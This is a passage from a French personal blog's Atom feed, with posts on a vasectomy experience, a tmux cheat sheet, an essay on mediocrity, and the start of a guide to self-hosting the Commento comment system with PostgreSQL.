&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="https://www.deviantart.com/placi1/art/Dsc0066-19-866867834"&gt;placi1&lt;/a&gt;. Cette &lt;strong&gt;fiction&lt;/strong&gt; fait suite à l&amp;rsquo;actualité de ce mois de janvier qui voit les comptes de Donald Trump (45e président des états-unis) sur les réseaux sociaux suspendus définitivement. 4 ans plus tard, on verra que Trump revient et qu&amp;rsquo;il a un compte Twitter (devenu X).&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Deux coups de ciseaux</title><link href="http://blog.namok.be/2021-01-11-deux-coups-de-ciseaux-vasectomie.html" rel="alternate"/><published>2021-01-11T00:00:00+01:00</published><updated>2021-01-11T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2021-01-11:/2021-01-11-deux-coups-de-ciseaux-vasectomie.html</id><summary type="html">… ou la brève histoire d'une vasectomie</summary><content type="html">&lt;p&gt;&lt;img alt="cutting_dawn_by_alltelleringet_da0lold.jpg, janv. 2021" src="/images/cutting_dawn_by_alltelleringet_da0lold.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Il y a quelques années déjà, j&amp;rsquo;ai fait une &lt;strong&gt;vasectomie&lt;/strong&gt;. Principalement parce que je trouvais que &lt;em&gt;c&amp;rsquo;était mon tour&lt;/em&gt; de m&amp;rsquo;occuper de notre contraception.&lt;/p&gt;
&lt;p&gt;La contraception féminine — comme je la perçois — est lourde et intrusive. Habituellement, il faut penser à prendre une pilule bourrée d&amp;rsquo;hormones tous les jours où s&amp;rsquo;introduire quelque chose dans le vagin… probablement diffuseur d&amp;rsquo;hormones aussi. Alors, bien sûr, c&amp;rsquo;est bien pratique lorsque l&amp;rsquo;on désire avoir des enfants par la suite &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; mais dès que l&amp;rsquo;on est sûr que l&amp;rsquo;on n&amp;rsquo;en veut pas ou plus, je ne vois absolument aucune raison de ne pas faire de vasectomie. Pire ! J&amp;rsquo;ai des difficultés à comprendre &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; ceux qui ne franchissent pas le pas. Pour peu que sa partenaire soit sensible aux hormones, j&amp;rsquo;en arrive à me dire que ce n&amp;rsquo;est pas respectueux de ne pas le faire. Bref, je milite pour que les copains se &lt;em&gt;coupent les couilles&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;À ce sujet, comme l&amp;rsquo;objet de ce billet est de rassurer un peu et répondre aux questions que d&amp;rsquo;aucun se posent… les coups de ciseaux se donnent aux canaux déférents et rien ne tombe ! Ça se fait en hôpital de jour et en une ½ journée, c&amp;rsquo;est plié. &lt;a href="https://fr.wikipedia.org/wiki/Vasectomie"&gt;Pour les détails techniques &lt;em&gt;cfr.&lt;/em&gt; Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour la blague, sachez que ça ne change pas le gout… mais que l&amp;rsquo;on n&amp;rsquo;a pas un plus gros pénis pour autant.&lt;/p&gt;
&lt;p&gt;— Ça fait mal ?&lt;br&gt;
— Non. non.&lt;br&gt;
— …&lt;br&gt;
— Oui, un tout petit peu sur le moment juste histoire de serrer un peu les dents. Pas de quoi crier ou pleurer.&lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est réversible ?&lt;/p&gt;
&lt;p&gt;On peut ligaturer les canaux déférents ou les couper et les cautériser. Chez moi c&amp;rsquo;est coupé et dans ce cas, c&amp;rsquo;est difficilement restaurable mais possible. Mais comme je suis sûr de ne plus vouloir d&amp;rsquo;enfants. C&amp;rsquo;est bon &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Pour l&amp;rsquo;anecdote, une fois sur le billard, l&amp;rsquo;assistante du chirurgien m&amp;rsquo;a demandé quelles étaient mes motivations à faire une vasectomie. Ma réponse, « C&amp;rsquo;est mon tour ! » l&amp;rsquo;a surprise alors que c&amp;rsquo;est aussi simple que ça. Tu ne veux, plus d&amp;rsquo;enfants, tu fais une &lt;em&gt;vasectomie&lt;/em&gt;. C&amp;rsquo;est tout. Facile. Pas de questions. Plus d&amp;rsquo;emmerdes.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="https://www.deviantart.com/alltelleringet/art/Cutting-Dawn-605673409"&gt;alltelleringet&lt;/a&gt;. Pour être sûr de ne pas se louper autant prendre une grande paire de ciseaux !&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Quoiqu&amp;rsquo;on pourrait « les faire à l&amp;rsquo;usine » ! &lt;em&gt;Poke&lt;/em&gt; &lt;em&gt;Le meilleure des mondes&lt;/em&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je vous aime quand même hein ! Je sais que vous avez… peur ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Si l&amp;rsquo;on se croise, on pourra discuter du désir d&amp;rsquo;enfants, de séparation… Mais c&amp;rsquo;est trop personnel pour être exposé publiquement ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>tmux à l'usage d'un prof</title><link href="http://blog.namok.be/2020-12-03-tmux-a-l-usage-d-un-prof.html" rel="alternate"/><published>2020-12-03T00:00:00+01:00</published><updated>2020-12-03T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2020-12-03:/2020-12-03-tmux-a-l-usage-d-un-prof.html</id><summary type="html">tmux à l'usage d'un prof</summary><content type="html">&lt;p&gt;&lt;img alt="cadres_by_thoum_d2458vb.jpg, déc. 2020" src="/images//cadres_by_thoum_d2458vb.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/tmux/tmux/wiki"&gt;&lt;code&gt;tmux&lt;/code&gt;&lt;/a&gt; est un multiplexer de terminal — oui, ce billet est un tout petit peu technique — permettant d&amp;rsquo;ouvrir une session sur une machine et de s&amp;rsquo;en détacher en laissant la session ouverte (un peu comme &lt;code&gt;screen&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Dans l&amp;rsquo;usage quotidien &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; de ma machine, j&amp;rsquo;utilise régulièrement un terminal et j&amp;rsquo;ai un répertoire par « activité » : un répertoire pour tel cours, un répertoire pour telle organisation… Un peu comme tout le monde j&amp;rsquo;imagine excepté les personnes qui &lt;em&gt;mettent tout sur le bureau&lt;/em&gt; !&lt;/p&gt;
&lt;p&gt;Lorsque je me consacre à un cours par exemple, je peux être dans le répertoire du cours pour trouver un énoncé, dans un autre terminal, être dans le répertoire pour les corrections… j&amp;rsquo;utilise donc plusieurs terminaux pour un même cours. Comme je travaille tantôt sur un cours, tantôt sur un autre cours et que j&amp;rsquo;ai plusieurs bureaux virtuels, ça devient vite désorganisé.&lt;/p&gt;
&lt;p&gt;Pendant tout un temps, je retenais que le premier bureau, c&amp;rsquo;est pour tel cours, le second pour un autre, le cinquième pour les navigateurs internet, le sixième pour la communication instantanée et mail, etc. Depuis quelques temps, j&amp;rsquo;utilise &lt;code&gt;tmux&lt;/code&gt; pour les terminaux et je conserve cette habitude de laisser dans mon bureau virtuel 6 le mail et irc et dans le 5, les navigateurs internet.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tmux&lt;/code&gt; me permet d&amp;rsquo;ouvrir une session par cours. Dans cette session, je peux ouvrir plusieurs terminaux. Les intérêts de &lt;code&gt;tmux&lt;/code&gt; sont pour moi :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la possibilité de pouvoir me détacher et attacher une session. Ce qui me permet de ne plus être lié à un bureau virtuel pour une activité ;&lt;/li&gt;
&lt;li&gt;la possibilité de &lt;em&gt;découper&lt;/em&gt; ma fenêtre en plusieurs ;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bref, voici mon aide-mémoire de commandes.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tmux&lt;/code&gt; lance une session (numérotée) mais c&amp;rsquo;est mieux de directement la nommer avec l&amp;rsquo;option &lt;code&gt;-t&lt;/code&gt; :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tmux&lt;span class="w"&gt; &lt;/span&gt;new&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour lister les sessions existantes :&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tmux ls
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Pour rejoindre — s&amp;rsquo;attacher à — une session existante :&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tmux a [-t ]
tmux a [-t ]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Pour tuer toutes les sessions &lt;code&gt;tmux&lt;/code&gt;, il suffit de tuer le serveur. Il est aussi possible de n&amp;rsquo;en tuer qu&amp;rsquo;une par son nom ou son numéro :&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tmux kill-server
tmux kill-session -t 
tmux kill-session -t
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Dès lors que l&amp;rsquo;on se trouve dans une session &lt;code&gt;tmux&lt;/code&gt;, un préfixe défini permet de lancer une commande. &lt;code&gt;Ctrl-b&lt;/code&gt; est le préfixe par défaut. Dans la suite, &lt;em&gt;prefix&lt;/em&gt; signifie chez moi &lt;code&gt;Ctrl-b&lt;/code&gt;. Vous pourrez le redéfinir mais pour moi — en bépo — c&amp;rsquo;est accessible.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;d&lt;/code&gt; se détache de la session courante ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;:&lt;/code&gt; permet d&amp;rsquo;écrire une commande &lt;em&gt;tmux&lt;/em&gt; ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;$&lt;/code&gt; (re)nomme la session courante ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;)&lt;/code&gt; passe une autre session (la suivante « à droite ») ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;(&lt;/code&gt; passe une autre session (la suivante « à gauche ») ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;s&lt;/code&gt; liste les sessions (comme &lt;code&gt;tmux ls&lt;/code&gt; mais en étant attaché) et permet de passer d&amp;rsquo;une session à l&amp;rsquo;autre ;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fenêtre&lt;/h3&gt;
&lt;p&gt;Une session &lt;code&gt;tmux&lt;/code&gt; se compose d&amp;rsquo;une ou plusieurs fenêtres. Une fenêtre occupe tout l&amp;rsquo;écran du terminal.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;,&lt;/code&gt; renommer la fenêtre ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;c&lt;/code&gt; créer une nouvelle fenêtre ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;n&lt;/code&gt; aller à la fenêtre suivante ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;em&gt;X&lt;/em&gt; aller à la fenêtre &lt;em&gt;X&lt;/em&gt; ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;w&lt;/code&gt; liste les fenêtres et permet de les parcourir et d&amp;rsquo;en choisir une ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;esperluette&lt;/code&gt; supprime la fenêtre courante (et tous ses panels) ;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Panels&lt;/h3&gt;
&lt;p&gt;Une fenêtre peut être découpée en &lt;em&gt;morceaux&lt;/em&gt; / carrés / &lt;em&gt;panels&lt;/em&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;%&lt;/code&gt; scinde le panel en deux verticalement ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;=&lt;/code&gt; scinde le panel en deux horizontalement (par défaut c&amp;rsquo;est &lt;code&gt;"&lt;/code&gt; mais j&amp;rsquo;ai changé) ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;em&gt;flèche&lt;/em&gt; passe d&amp;rsquo;un panel à l&amp;rsquo;autre dans la direction de la flèche ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;Ctrl-&lt;/code&gt;&lt;em&gt;flèche&lt;/em&gt; redimensionne le panel courant dans le sens de la flèche ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;o&lt;/code&gt; échange les panels ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;;&lt;/code&gt; retourne au dernier panel ;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;prefix&lt;/em&gt; &lt;code&gt;x&lt;/code&gt; supprime le panel courant&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il est possible d&amp;rsquo;exécuter les mêmes actions dans tous les panels en même temps. Pour ce faire, entrer la commande &lt;code&gt;:setw synchronize-panes on&lt;/code&gt; (et &lt;code&gt;off&lt;/code&gt; quand c&amp;rsquo;est terminé).&lt;/p&gt;
&lt;p&gt;Ensuite, on s&amp;rsquo;amuse à écrire un fichier de configuration en fonction des habitudes que l&amp;rsquo;on a. Le &lt;a href="https://github.com/Pinkilla/dotfiles"&gt;mien se trouve là&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;quand je ferme un &lt;em&gt;pane&lt;/em&gt; ou une fenêtre, je n&amp;rsquo;ai pas besoin de confirmer ;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gh"&gt;#&lt;/span&gt; kill pane without confirm
bind-key x kill-pane
&lt;span class="gh"&gt;#&lt;/span&gt; new window in some directory
bind-key c new-window -c &amp;quot;#{pane_current_path}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;je redéfinis le &lt;em&gt;split&lt;/em&gt; horizontal en demandant d&amp;rsquo;ouvrir le nouveau panel dans le répertoire courant ;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gh"&gt;#&lt;/span&gt; split window verticaly and horizontaly
bind-key = split-window -v -c &amp;quot;#{pane_current_path}&amp;quot;
bind-key % split-window -h -c &amp;quot;#{pane_current_path}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;j&amp;rsquo;augmente la taille du buffer pour l&amp;rsquo;historique ;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# big history (default is 2000)
set -g history-limit 5000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Voilà, pour le reste, nous verrons à l&amp;rsquo;usage…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez DeviantArt par &lt;a href="https://www.deviantart.com/thoum/art/Cadres-127895591"&gt;Thoum&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je sais que le mot est un peu tombé en désuétude au profit de &lt;em&gt;journalier&lt;/em&gt;… que je trouve beaucoup moins joli. Oui les mots peuvent être beaux.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Des résultats médiocres</title><link href="http://blog.namok.be/2020-06-14-resultats-mediocres.html" rel="alternate"/><published>2020-06-14T00:00:00+02:00</published><updated>2020-06-14T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2020-06-14:/2020-06-14-resultats-mediocres.html</id><summary type="html">Des résultats médiocres</summary><content type="html">&lt;p&gt;&lt;img alt="gratisography-141H-1200x.jpg, juin 2020" src="/images/gratisography-141H-1200x.jpg"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Médiocrité, n.f.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;XIVe siècle. Emprunté du latin &lt;em&gt;mediocritas&lt;/em&gt;, « état moyen, juste milieu ».&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Caractère de ce qui est médiocre, moyen, de ce qui tient le milieu entre deux extrêmes. La médiocrité de son rang, de sa fortune.   Absolument. Vivre dans la médiocrité, dans un état de fortune qui tient le milieu entre la richesse et la pauvreté.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Par extension et péjoratif, insuffisance en ce qui regarde l&amp;rsquo;esprit, le mérite, le cœur. Cet homme est d&amp;rsquo;une grande médiocrité. En parlant de la valeur morale ou intellectuelle d&amp;rsquo;un ouvrage de l&amp;rsquo;esprit. Ce livre, ce tableau est d&amp;rsquo;une rare médiocrité.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://www.cnrtl.fr/definition/academie9/m%C3%A9diocrit%C3%A9"&gt;Académie 9e édition&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Commençons pas les définitions de l&amp;rsquo;académie 9e édition qui nous montre que le mot « &lt;strong&gt;médiocrité&lt;/strong&gt; » se définit par ce qui est moyen, juste au milieu avant de montrer sa définition péjorative sans doute plus connue. L&amp;rsquo;usage du mot médiocre n&amp;rsquo;est donc pas nécessairement irrespectueuse ou négative.&lt;/p&gt;
&lt;p&gt;Pour beaucoup de choses, &lt;strong&gt;je suis médiocre&lt;/strong&gt; et je m&amp;rsquo;en accommode. Pourtant j&amp;rsquo;aimerais être un peu plus heureux, gagner un peu plus d&amp;rsquo;argent, être un peu plus intelligent, avoir ce don là et peut-être celui-là aussi… Je suis médiocre parce que j&amp;rsquo;ai ces limites qui m&amp;rsquo;empêchent de faire mieux. Je ne suis pas médiocre par paresse ou parce que c&amp;rsquo;est ce que je vise. Mon objectif de vie n&amp;rsquo;est pas d&amp;rsquo;être médiocre.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;après le &lt;a href="https://www.cnrtl.fr/definition/m%C3%A9diocrit%C3%A9"&gt;centre national de ressources textuelles et lexicales&lt;/a&gt;, le premier sens est vieux et littéraire. Aujourd&amp;rsquo;hui par contre, ce qui est médiocre est &lt;em&gt;en-dessous de la moyenne&lt;/em&gt;, montre une &lt;em&gt;insuffisance&lt;/em&gt; en quantité, en qualité, en valeur ou encore en intensité. Il montre un manque de talents, d&amp;rsquo;aptitudes, de capacités, de résultats. C&amp;rsquo;est plat. C&amp;rsquo;est pauvre. Peu important. &lt;a href="https://fr.wiktionary.org/wiki/m%C3%A9diocrit%C3%A9"&gt;Peu digne d&amp;rsquo;être remarqué&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ce second sens pour moi est aussi une affaire d&amp;rsquo;&lt;strong&gt;intention&lt;/strong&gt;.  &lt;/p&gt;
&lt;p&gt;— Avant d&amp;rsquo;agir, quel est ton objectif ? Quel résultat vises-tu ?&lt;/p&gt;
&lt;p&gt;La médiocrité prend ce second sens — son sens un peu plus péjoratif — lorsque je décide d&amp;rsquo;emblée de m&amp;rsquo;en satisfaire. Lorsque je ne cherche pas à faire de mon mieux et que je vise le « c&amp;rsquo;est juste assez », « ça suffira ». Mon propos n&amp;rsquo;est pas de faire ici une campagne passéiste sur le sens de l&amp;rsquo;effort et sur l&amp;rsquo;excellence — à ne pas confondre avec le perfectionnisme — mais de simplement rappeler la satisfaction du travail bien fait.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Je ne suis pas médiocre&lt;/strong&gt;. Je le sais parce que je fais de mon mieux, je m&amp;rsquo;applique à obtenir un bon résultat. Parfois le résultat est en dessous de la moyenne et je sais que ce mauvais résultat ne signifie pas que je &lt;em&gt;suis&lt;/em&gt; médiocre. Je l&amp;rsquo;accepte, je recommence ou je fais autre chose avec mes autres qualités.&lt;/p&gt;
&lt;p&gt;Je vous invite à ne pas faire de la médiocrité le leitmotiv de votre vie mais de faire de votre mieux. Toujours. En acceptant avec humilité que parfois, le résultat n&amp;rsquo;est pas à la hauteur de vos attentes.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://gratisography.com/photo/retro-athlete/"&gt;Gratisograpfy&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Commento pour gérer les commentaires</title><link href="http://blog.namok.be/2020-06-08-commento.html" rel="alternate"/><published>2020-06-08T00:00:00+02:00</published><updated>2020-06-08T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2020-06-08:/2020-06-08-commento.html</id><summary type="html">Une alternative à disqus (et autres)</summary><content type="html">&lt;p&gt;&lt;img alt="grue-arcenciel-20200605-cut.jpg, juin 2020" src="/images/grue-arcenciel-20200605-cut.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Une fois tous les 10 ans, je repasse sur le système de commentaires disponible sur mon blog (non, un blog, ce n&amp;rsquo;est pas &lt;em&gt;hasbeen&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Au début, j&amp;rsquo;utilisais le système de commentaires de &lt;a href="https://dotclear.org/"&gt;Dotclear&lt;/a&gt; que j&amp;rsquo;ai abandonné pour mauvaise gestion des spams et pour suivre la mode de &lt;a href="https://disqus.com/"&gt;Disqus&lt;/a&gt;. Depuis, &lt;a href="https://open-time.net/tag/antispam"&gt;Frank a fait pas mal de boulot pour la gestion des spams&lt;/a&gt; mais le mal était fait. J&amp;rsquo;ai installé Disqus — vers 2013 — qui a deux défauts assez importants : c&amp;rsquo;est propriétaire et centralisé. Disqus est même doublement centralisé : il n&amp;rsquo;y a « qu&amp;rsquo;un seul » serveur et tous les commentaires que fait un utilisateur ou une utilisatrice se retrouvent au même endroit. Il est donc assez facile de savoir que j&amp;rsquo;ai commenté &lt;em&gt;example.com&lt;/em&gt;, le site du boulot et &lt;em&gt;example.org&lt;/em&gt;, le site de pétanque du village. C&amp;rsquo;est (encore) plus facile pour profiler &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Ensuite, comme quasi personnes ne commentent sur mon blog, j&amp;rsquo;ai désactivé les commentaires et personne ne s&amp;rsquo;est plaint. C&amp;rsquo;est dire ;-)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Il pleut.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Je décide donc d&amp;rsquo;installer &lt;a href="https://commento.io/"&gt;&lt;strong&gt;Commento&lt;/strong&gt;&lt;/a&gt;. C&amp;rsquo;est la version &lt;em&gt;logiciel libre&lt;/em&gt; de Disqus. Il est possible de souscrire un hébergement chez eux ou de l&amp;rsquo;installer. Je l&amp;rsquo;installe. Vous me direz ce que vous en pensez.&lt;/p&gt;
&lt;p&gt;Je suis &lt;em&gt;grosso-merdo&lt;/em&gt; la &lt;a href="https://docs.commento.io/installation/self-hosting/on-your-server/release-binaries.html"&gt;documentation officielle&lt;/a&gt; qui m&amp;rsquo;a posé quelques soucis. Voici la procédure .&lt;/p&gt;
&lt;p&gt;Le site a besoin de &lt;strong&gt;PostgreSQL&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# apt install postgresql&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;C&amp;rsquo;est une bonne pratique de créer un utilisateur spécifique pour l&amp;rsquo;application, je crée donc un utilisateur &lt;code&gt;commento&lt;/code&gt; qui aura les droits qui vont bien — et pas plus — sur la base de données (BD) :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# sudo -u postgres psql&lt;/span&gt;

&lt;span class="nv"&gt;postgres&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="c1"&gt;# create database commento;&lt;/span&gt;
CREATE&lt;span class="w"&gt; &lt;/span&gt;DATABASE
&lt;span class="nv"&gt;postgres&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="c1"&gt;# create role commento;&lt;/span&gt;
CREATE&lt;span class="w"&gt; &lt;/span&gt;ROLE
&lt;span class="nv"&gt;postgres&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="c1"&gt;# alter role commento with login;&lt;/span&gt;
ALTER&lt;span class="w"&gt; &lt;/span&gt;ROLE
&lt;span class="nv"&gt;postgres&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="c1"&gt;# \password commento&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="https://docs.commento.io/getting-started/self-hosting/releases.html"&gt;Je télécharge Commento&lt;/a&gt; et commence l&amp;rsquo;installation.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;désarchiver dans &lt;code&gt;/opt/commento&lt;/code&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;l&amp;rsquo;idée du logiciel est d&amp;rsquo;utiliser les variables d&amp;rsquo;environnement pour le configurer, je décide d&amp;rsquo;écrire un script qui positionnera les variables d&amp;rsquo;environnement et qui lancera le service. C&amp;rsquo;est un service qui tourne sur un certain port. Il faudra donc un serveur web et un &lt;em&gt;virtual host&lt;/em&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;momos&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="c1"&gt;# cat /opt/commento.sh      &lt;/span&gt;
&lt;span class="c1"&gt;#!/bin/bash &lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;COMMENTO_ORIGIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;commento&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;COMMENTO_PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8081&lt;/span&gt;
